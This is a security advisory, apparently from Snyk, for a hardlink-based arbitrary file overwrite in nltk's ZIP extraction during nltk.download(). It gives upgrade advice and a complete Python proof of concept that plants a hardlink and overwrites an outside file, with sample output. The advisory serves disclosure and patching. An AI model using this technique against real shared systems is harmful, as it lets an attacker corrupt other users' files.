Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to External Control of File Name or Path via nltk.pathsec.ZipFile.extract in the package extraction path driven by nltk.download(). When extracting a ZIP package, the security wrapper validates member names using validate_zip_archive, which relies on Path.resolve() and name checks to block path escapes. Because resolve() follows symlinks but cannot detect hardlinks (a hardlink has a legitimate in-root name and in-root resolved path), a local attacker who can write inside a shared or predictable NLTK data root can pre-plant an in-root hardlink at a member path that a to-be-installed package will write. When the victim subsequently runs nltk.download(), the extraction write opens the pre-existing hardlink via the standard library's plain open(targetpath, "wb") and truncates and overwrites the outside-root inode the hardlink points to. The prior fix added an st_nlink > 1 refusal to nltk.pathsec.open / _hardened_open for the downloader temporary-file write, but that check was never applied to the extraction write sink, leaving the integrity impact complete for any outside-root file the attacker can hardlink to.
Note: Practical exploitation requires either that kernel hardlink protection (fs.protected_hardlinks) is disabled, or that the outside-root target is a file the planting actor is permitted to hardlink (owned, writable, or group-shared).
Dependencies: a released nltk (3.10.3) installed from PyPI. The demonstration creates a data root, a victim file outside it, and a package archive whose member path is pre-planted as a hardlink to the victim file, then extracts through the security wrapper. It runs as a single user and succeeds even with fs.protected_hardlinks=1.
Steps:
nltk.data.path and create an extraction subtree inside it.nltk.pathsec.ZipFile.extract.import os, sys, tempfile, zipfile import nltk import nltk.pathsec as pswork = tempfile.mkdtemp() data_root = os.path.join(work, "nltk_data") extract_root = os.path.join(data_root, "corpora") os.makedirs(os.path.join(extract_root, "pkgid")) nltk.data.path.insert(0, data_root)
outside = os.path.join(work, "victim.txt") open(outside, "w").write("ORIGINAL-VICTIM-CONTENT")
zippath = os.path.join(data_root, "pkg.zip") with zipfile.ZipFile(zippath, "w") as z: z.writestr("pkgid/target", "PWNED-BY-EXTRACTION")
member_abs = os.path.join(extract_root, "pkgid/target") os.link(outside, member_abs) # pre-planted in-root hardlink
with ps.ZipFile(zippath, "r") as z: z.extract("pkgid/target", path=extract_root)
print("victim now:", open(outside).read())
victim now: PWNED-BY-EXTRACTION
The equivalent test using a symlink instead of a hardlink is refused by validate_zip_archive with a Security Violation, isolating the missing guard to hardlinks on the extraction write.
Note: The PoC states it requires a released nltk (3.10.3) installed from PyPI and runs as a single user, succeeding even with fs.protected_hardlinks=1.